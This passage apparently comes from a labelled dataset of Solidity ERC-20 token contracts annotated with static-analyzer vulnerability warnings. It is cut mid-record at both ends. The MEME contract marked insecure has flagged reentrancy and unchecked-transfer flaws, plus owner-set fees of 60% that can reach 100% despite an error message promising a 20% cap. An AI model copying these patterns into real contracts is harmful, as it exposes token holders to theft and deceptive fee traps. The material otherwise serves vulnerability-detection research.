swapTimes;\n bool private swapping;\n uint256 swapAmount = 3;\n uint256 private swapThreshold = (_totalSupply * 1000) / 100000;\n uint256 private minTokenAmount = (_totalSupply * 10) / 100000;\n modifier lockTheSwap() {\n\t\t// reentrancy-eth | ID: ef694f6\n swapping = true;\n _;\n\t\t// reentrancy-eth | ID: ef694f6\n swapping = false;\n }\n uint256 private liquidityFee = 0;\n uint256 private marketingFee = 0;\n uint256 private developmentFee = 0;\n uint256 private burnFee = 0;\n uint256 private totalFee = 3000;\n uint256 private sellFee = 6000;\n uint256 private transferFee = 6000;\n\t// WARNING Optimization Issue (constable-states | ID: 6aae6e4): MEME.denominator should be constant \n\t// Recommendation for 6aae6e4: Add the 'constant' attribute to state variables that never change.\n uint256 private denominator = 10000;\n address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;\n address internal development_receiver =\n 0xC533534E40c6f177cF3b037C2abe549D66D976A2;\n address internal marketing_receiver =\n 0xC533534E40c6f177cF3b037C2abe549D66D976A2;\n address internal liquidity_receiver =\n 0xC533534E40c6f177cF3b037C2abe549D66D976A2;\n uint256 public _maxTxAmount = (_totalSupply * 200) / 10000;\n uint256 public _maxSellAmount = (_totalSupply * 300) / 10000;\n uint256 public _maxWalletToken = (_totalSupply * 300) / 10000;\n\n constructor() Ownable(msg.sender) {\n IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n address _pair = IFactory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n router = _router;\n pair = _pair;\n isFeeExempt[address(this)] = true;\n isFeeExempt[liquidity_receiver] = true;\n isFeeExempt[marketing_receiver] = true;\n isFeeExempt[development_receiver] = true;\n isFeeExempt[msg.sender] = true;\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n receive() external payable {}\n function name() public pure returns (string memory) {\n return _name;\n }\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n function startTrading() external onlyOwner {\n tradingAllowed = true;\n }\n function getOwner() external view override returns (address) {\n return owner;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6d00bb0): MEME.allowance(address,address).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 6d00bb0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n function setisExempt(address _address, bool _enabled) external onlyOwner {\n isFeeExempt[_address] = _enabled;\n }\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n function totalSupply() public view override returns (uint256) {\n return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));\n }\n\n function shouldContractSwap(\n address sender,\n address recipient,\n uint256 amount\n ) internal view returns (bool) {\n bool aboveMin = amount >= minTokenAmount;\n bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;\n return\n !swapping &&\n swapEnabled &&\n tradingAllowed &&\n aboveMin &&\n !isFeeExempt[sender] &&\n recipient == pair &&\n swapTimes >= swapAmount &&\n aboveThreshold;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 58ebc09): Missing events for critical arithmetic parameters.\n\t// Recommendation for 58ebc09: Emit an event for critical parameter changes.\n function setContractSwapSettings(\n uint256 _swapAmount,\n uint256 _swapThreshold,\n uint256 _minTokenAmount\n ) external onlyOwner {\n\t\t// events-maths | ID: 58ebc09\n swapAmount = _swapAmount;\n\t\t// events-maths | ID: 58ebc09\n swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000));\n\t\t// events-maths | ID: 58ebc09\n minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000));\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3c8624f): Missing events for critical arithmetic parameters.\n\t// Recommendation for 3c8624f: Emit an event for critical parameter changes.\n function setTransactionRequirements(\n uint256 _liquidity,\n uint256 _marketing,\n uint256 _burn,\n uint256 _development,\n uint256 _total,\n uint256 _sell,\n uint256 _trans\n ) external onlyOwner {\n\t\t// events-maths | ID: 3c8624f\n liquidityFee = _liquidity;\n\t\t// events-maths | ID: 3c8624f\n marketingFee = _marketing;\n\t\t// events-maths | ID: 3c8624f\n burnFee = _burn;\n\t\t// events-maths | ID: 3c8624f\n developmentFee = _development;\n\t\t// events-maths | ID: 3c8624f\n totalFee = _total;\n\t\t// events-maths | ID: 3c8624f\n sellFee = _sell;\n\t\t// events-maths | ID: 3c8624f\n transferFee = _trans;\n require(\n totalFee <= denominator.div(1) &&\n sellFee <= denominator.div(1) &&\n transferFee <= denominator.div(1),\n \"totalFee and sellFee cannot be more than 20%\"\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: adc9294): MEME.setTransactionLimits(uint256,uint256,uint256) should emit an event for _maxTxAmount = newTx _maxSellAmount = newTransfer _maxWalletToken = newWallet \n\t// Recommendation for adc9294: Emit an event for critical parameter changes.\n function setTransactionLimits(\n uint256 _buy,\n uint256 _sell,\n uint256 _wallet\n ) external onlyOwner {\n uint256 newTx = _totalSupply.mul(_buy).div(10000);\n uint256 newTransfer = _totalSupply.mul(_sell).div(10000);\n uint256 newWallet = _totalSupply.mul(_wallet).div(10000);\n\t\t// events-maths | ID: adc9294\n _maxTxAmount = newTx;\n\t\t// events-maths | ID: adc9294\n _maxSellAmount = newTransfer;\n\t\t// events-maths | ID: adc9294\n _maxWalletToken = newWallet;\n uint256 limit = totalSupply().mul(5).div(1000);\n require(\n newTx >= limit && newTransfer >= limit && newWallet >= limit,\n \"Max TXs and Max Wallet cannot be less than .5%\"\n );\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 78bea37): MEME.setInternalAddresses(address,address,address)._marketing lacks a zerocheck on \t marketing_receiver = _marketing\n\t// Recommendation for 78bea37: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bb9d36c): MEME.setInternalAddresses(address,address,address)._liquidity lacks a zerocheck on \t liquidity_receiver = _liquidity\n\t// Recommendation for bb9d36c: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: baafd74): MEME.setInternalAddresses(address,address,address)._development lacks a zerocheck on \t development_receiver = _development\n\t// Recommendation for baafd74: Check that the address is not zero.\n function setInternalAddresses(\n address _marketing,\n address _liquidity,\n address _development\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: 78bea37\n marketing_receiver = _marketing;\n\t\t// missing-zero-check | ID: bb9d36c\n liquidity_receiver = _liquidity;\n\t\t// missing-zero-check | ID: baafd74\n development_receiver = _development;\n isFeeExempt[_marketing] = true;\n isFeeExempt[_liquidity] = true;\n isFeeExempt[_development] = true;\n }\n\n function setisBot(\n address[] calldata addresses,\n bool _enabled\n ) external onlyOwner {\n for (uint256 i = 0; i < addresses.length; i++) {\n isBot[addresses[i]] = _enabled;\n }\n }\n\n function manualSwap() external onlyOwner {\n uint256 amount = balanceOf(address(this));\n if (amount > swapThreshold) {\n amount = swapThreshold;\n }\n swapAndLiquify(amount);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 8c2af45): MEME.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(development_receiver,_amount)\n\t// Recommendation for 8c2af45: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\t\t// unchecked-transfer | ID: 8c2af45\n IERC20(_address).transfer(development_receiver, _amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4d5b8c7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4d5b8c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e4ac2e7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e4ac2e7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: eb94af4): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for eb94af4: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d2679fe): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for d2679fe: Consider ordering multiplication before division.\n function swapAndLiquify(uint256 tokens) private lockTheSwap {\n uint256 _denominator = (\n liquidityFee.add(1).add(marketingFee).add(developmentFee)\n ).mul(2);\n uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(\n _denominator\n );\n uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);\n uint256 initialBalance = address(this).balance;\n\t\t// reentrancy-events | ID: 4d5b8c7\n\t\t// reentrancy-benign | ID: e4ac2e7\n swapTokensForETH(toSwap);\n uint256 deltaBalance = address(this).balance.sub(initialBalance);\n\t\t// divide-before-multiply | ID: eb94af4\n\t\t// divide-before-multiply | ID: d2679fe\n uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee));\n\t\t// divide-before-multiply | ID: eb94af4\n uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);\n if (ETHToAddLiquidityWith > uint256(0)) {\n\t\t\t// reentrancy-events | ID: 4d5b8c7\n\t\t\t// reentrancy-benign | ID: e4ac2e7\n addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);\n }\n\t\t// divide-before-multiply | ID: d2679fe\n uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);\n if (marketingAmt > 0) {\n\t\t\t// reentrancy-events | ID: 1b7f52c\n\t\t\t// reentrancy-events | ID: 72d6f62\n\t\t\t// reentrancy-eth | ID: ef694f6\n\t\t\t// reentrancy-eth | ID: 47bc437\n payable(marketing_receiver).transfer(marketingAmt);\n }\n uint256 contractBalance = address(this).balance;\n if (contractBalance > uint256(0)) {\n\t\t\t// reentrancy-events | ID: 1b7f52c\n\t\t\t// reentrancy-events | ID: 72d6f62\n\t\t\t// reentrancy-eth | ID: ef694f6\n\t\t\t// reentrancy-eth | ID: 47bc437\n payable(development_receiver).transfer(contractBalance);\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c443045): MEME.addLiquidity(uint256,uint256) ignores return value by router.addLiquidityETH{value ETHAmount}(address(this),tokenAmount,0,0,liquidity_receiver,block.timestamp)\n\t// Recommendation for c443045: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {\n _approve(address(this), address(router), tokenAmount);\n\t\t// reentrancy-events | ID: 1b7f52c\n\t\t// reentrancy-events | ID: 4d5b8c7\n\t\t// reentrancy-events | ID: 72d6f62\n\t\t// reentrancy-benign | ID: ca38ec0\n\t\t// reentrancy-benign | ID: e4ac2e7\n\t\t// reentrancy-benign | ID: 9990380\n\t\t// unused-return | ID: c443045\n\t\t// reentrancy-eth | ID: ef694f6\n\t\t// reentrancy-eth | ID: 47bc437\n router.addLiquidityETH{value: ETHAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n liquidity_receiver,\n block.timestamp\n );\n }\n\n function swapTokensForETH(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = router.WETH();\n _approve(address(this), address(router), tokenAmount);\n\t\t// reentrancy-events | ID: 1b7f52c\n\t\t// reentrancy-events | ID: 4d5b8c7\n\t\t// reentrancy-events | ID: 72d6f62\n\t\t// reentrancy-benign | ID: ca38ec0\n\t\t// reentrancy-benign | ID: e4ac2e7\n\t\t// reentrancy-benign | ID: 9990380\n\t\t// reentrancy-eth | ID: ef694f6\n\t\t// reentrancy-eth | ID: 47bc437\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function shouldTakeFee(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return !isFeeExempt[sender] && !isFeeExempt[recipient];\n }\n\n function getTotalFee(\n address sender,\n address recipient\n ) internal view returns (uint256) {\n if (isBot[sender] || isBot[recipient]) {\n return denominator.sub(uint256(100));\n }\n if (recipient == pair) {\n return sellFee;\n }\n if (sender == pair) {\n return totalFee;\n }\n return transferFee;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3a90c19): MEME.takeFee(address,address,uint256) performs a multiplication on the result of a division _transfer(address(this),address(DEAD),amount.div(denominator).mul(burnFee))\n\t// Recommendation for 3a90c19: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 513be57): MEME.takeFee(address,address,uint256) performs a multiplication on the result of a division feeAmount = amount.div(denominator).mul(getTotalFee(sender,recipient))\n\t// Recommendation for 513be57: Consider ordering multiplication before division.\n function takeFee(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (uint256) {\n if (getTotalFee(sender, recipient) > 0) {\n\t\t\t// divide-before-multiply | ID: 513be57\n uint256 feeAmount = amount.div(denominator).mul(\n getTotalFee(sender, recipient)\n );\n\t\t\t// reentrancy-eth | ID: ef694f6\n _balances[address(this)] = _balances[address(this)].add(feeAmount);\n\t\t\t// reentrancy-events | ID: 72d6f62\n emit Transfer(sender, address(this), feeAmount);\n if (\n burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee\n ) {\n\t\t\t\t// divide-before-multiply | ID: 3a90c19\n _transfer(\n address(this),\n address(DEAD),\n amount.div(denominator).mul(burnFee)\n );\n }\n return amount.sub(feeAmount);\n }\n return amount;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 72d6f62): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 72d6f62: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9990380): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9990380: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ef694f6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ef694f6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 47bc437): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 47bc437: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(\n amount <= balanceOf(sender),\n \"You are trying to transfer more than your balance\"\n );\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(tradingAllowed, \"tradingAllowed\");\n }\n if (\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient] &&\n recipient != address(pair) &&\n recipient != address(DEAD)\n ) {\n require(\n (_balances[recipient].add(amount)) <= _maxWalletToken,\n \"Exceeds maximum wallet amount.\"\n );\n }\n if (sender != pair) {\n require(\n amount <= _maxSellAmount ||\n isFeeExempt[sender] ||\n isFeeExempt[recipient],\n \"TX Limit Exceeded\"\n );\n }\n require(\n amount <= _maxTxAmount ||\n isFeeExempt[sender] ||\n isFeeExempt[recipient],\n \"TX Limit Exceeded\"\n );\n if (recipient == pair && !isFeeExempt[sender]) {\n\t\t\t// reentrancy-eth | ID: ef694f6\n swapTimes += uint256(1);\n }\n if (shouldContractSwap(sender, recipient, amount)) {\n\t\t\t// reentrancy-events | ID: 72d6f62\n\t\t\t// reentrancy-benign | ID: 9990380\n\t\t\t// reentrancy-eth | ID: ef694f6\n\t\t\t// reentrancy-eth | ID: 47bc437\n swapAndLiquify(swapThreshold);\n\t\t\t// reentrancy-eth | ID: ef694f6\n\t\t\t// reentrancy-eth | ID: 47bc437\n swapTimes = uint256(0);\n }\n\t\t// reentrancy-eth | ID: ef694f6\n\t\t// reentrancy-eth | ID: 47bc437\n _balances[sender] = _balances[sender].sub(amount);\n\t\t// reentrancy-events | ID: 72d6f62\n\t\t// reentrancy-benign | ID: 9990380\n\t\t// reentrancy-eth | ID: ef694f6\n uint256 amountReceived = shouldTakeFee(sender, recipient)\n ? takeFee(sender, recipient, amount)\n : amount;\n\t\t// reentrancy-eth | ID: ef694f6\n _balances[recipient] = _balances[recipient].add(amountReceived);\n\t\t// reentrancy-events | ID: 72d6f62\n emit Transfer(sender, recipient, amountReceived);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1b7f52c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1b7f52c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ca38ec0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ca38ec0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1b7f52c\n\t\t// reentrancy-benign | ID: ca38ec0\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 1b7f52c\n\t\t// reentrancy-benign | ID: ca38ec0\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aea9ac2): MEME._approve(address,address,uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for aea9ac2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: ca38ec0\n\t\t// reentrancy-benign | ID: e4ac2e7\n\t\t// reentrancy-benign | ID: 9990380\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 1b7f52c\n\t\t// reentrancy-events | ID: 4d5b8c7\n\t\t// reentrancy-events | ID: 72d6f62\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_2304.sol",
"secure": 0,
"size_bytes": 26313
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Zephirex is ERC20 {\n\t// WARNING Optimization Issue (constable-states | ID: 322e4c3): Zephirex.admin should be constant \n\t// Recommendation for 322e4c3: Add the 'constant' attribute to state variables that never change.\n address public admin;\n constructor() ERC20(\"Zephirex\", \"ZPX\") {\n _mint(msg.sender, 10000000 * 10 ** 18);\n }\n\n function burn(uint256 amount) external {\n _burn(msg.sender, amount);\n }\n}",
"file_name": "solidity_code_2305.sol",
"secure": 1,
"size_bytes": 582
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Ginger is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: c213800): Ginger.bots is never initialized. It is used in Ginger._transfer(address,address,uint256) Ginger.isBot(address)\n\t// Recommendation for c213800: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = false;\n\t// WARNING Optimization Issue (immutable-states | ID: 7f4ca5c): Ginger._taxWallet should be immutable \n\t// Recommendation for 7f4ca5c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: de51a60): Ginger._initialBuyTax should be constant \n\t// Recommendation for de51a60: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\t// WARNING Optimization Issue (constable-states | ID: fdb4c91): Ginger._initialSellTax should be constant \n\t// Recommendation for fdb4c91: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\t// WARNING Optimization Issue (constable-states | ID: 0319e6d): Ginger._finalBuyTax should be constant \n\t// Recommendation for 0319e6d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 5817927): Ginger._finalSellTax should be constant \n\t// Recommendation for 5817927: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 2;\n\t// WARNING Optimization Issue (constable-states | ID: 7c5a188): Ginger._reduceBuyTaxAt should be constant \n\t// Recommendation for 7c5a188: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\t// WARNING Optimization Issue (constable-states | ID: d8bfc66): Ginger._reduceSellTaxAt should be constant \n\t// Recommendation for d8bfc66: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\t// WARNING Optimization Issue (constable-states | ID: f84a814): Ginger._preventSwapBefore should be constant \n\t// Recommendation for f84a814: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 8;\n uint256 private constant _tTotal = 420690000000000 * 10 ** _decimals;\n string private constant _name = unicode\"GingerGayHamsterToken\";\n string private constant _symbol = unicode\"GINGER\";\n uint256 public _maxTxAmount = 8413800000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 8413800000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: ee6208f): Ginger._taxSwapThreshold should be constant \n\t// Recommendation for ee6208f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 0 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: e5f7609): Ginger._maxTaxSwap should be constant \n\t// Recommendation for e5f7609: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 3365520000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e763418): Ginger.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e763418: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6313627): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6313627: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5e951c3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5e951c3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6313627\n\t\t// reentrancy-benign | ID: 5e951c3\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 6313627\n\t\t// reentrancy-benign | ID: 5e951c3\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 222b012): Ginger._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 222b012: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 5e951c3\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 6313627\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2003de2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2003de2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 7873603): Ginger._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for 7873603: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: c213800): Ginger.bots is never initialized. It is used in Ginger._transfer(address,address,uint256) Ginger.isBot(address)\n\t// Recommendation for c213800: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9ca75b1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9ca75b1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 7873603\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n if (_buyCount < _preventSwapBefore) {\n require(!isContract(to));\n }\n _buyCount++;\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n if (to == uniswapV2Pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 